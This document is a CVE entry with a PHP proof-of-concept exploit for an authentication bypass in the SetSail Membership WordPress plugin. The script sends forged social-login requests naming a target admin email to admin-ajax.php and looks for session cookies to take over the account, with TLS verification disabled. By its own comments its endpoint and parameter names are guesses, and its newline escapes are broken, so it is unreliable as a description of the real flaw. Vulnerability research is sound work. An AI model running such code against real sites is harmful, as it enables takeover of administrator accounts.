CVE-2025-1564: SetSail Membership <= 1.0.3 – Authentication Bypass via Account Takeover (setsail-membership)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-1564 - SetSail Membership <= 1.0.3 - Authentication Bypass via Account Takeover

// WARNING: This script is for authorized security testing only.
// Unauthorized use against systems you do not own is illegal.

// Configuration
$target_url = 'http://example.com';  // Change to target WordPress site
$target_user_email = 'admin@example.com';  // Target user email to takeover

// Inferred vulnerable endpoint: admin-ajax.php with social login action
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// The plugin likely uses an action like:
// - setsail_membership_social_login
// - setsail_membership_oauth_callback
// We'll attempt the most common pattern based on the plugin slug.
$actions_to_try = [
    'setsail_membership_social_login',
    'setsail_membership_oauth_login',
    'setsail_membership_facebook_login',
    'setsail_membership_google_login'
];

$found = false;

foreach ($actions_to_try as $action) {
    echo "[*] Trying action: $actionn";

    // Craft request with forged identity data
    // The plugin likely expects an email or user_id from the social provider
    $post_data = [
        'action' => $action,
        'email' => $target_user_email,  // Target user's email to takeover
        'provider' => 'facebook',  // Arbitrary provider name
        'id' => '12345',  // Forged social provider user ID
        'name' => 'Attacker Name',
        'token' => 'forged_token_value',  // Plugin may not verify token validity
        'state' => 'random_state'  // May lack CSRF state validation
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIE, '');  // No authentication needed
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HEADER, true);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $headers = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    curl_close($ch);

    echo "[*] HTTP Status: $http_coden";
    echo "[*] Response: " . substr($body, 0, 500) . "n";

    // Check if we got authenticated session cookies
    if (preg_match('/Set-Cookie: ([^;]+)/i', $headers, $matches)) {
        echo "[+] Potential session cookie received: " . $matches[1] . "n";
        $found = true;
    }

    // Check for success indicators in body (common WordPress patterns)
    if (strpos($body, '"success":true') !== false ||
        strpos($body, 'logged_in') !== false ||
        strpos($body, 'redirect') !== false ||
        strpos($body, 'user_id') !== false) {
        echo "[+] Possible successful authentication bypass!n";
        $found = true;
    }

    if ($found) break;
}

if (!$found) {
    echo "[-] No vulnerable action found with this payload.n";
    echo "[*] Try adjusting the email, id, or token parameters based on plugin behavior.n";
    echo "[*] The exact parameter names must match the plugin's social login handler.n";
}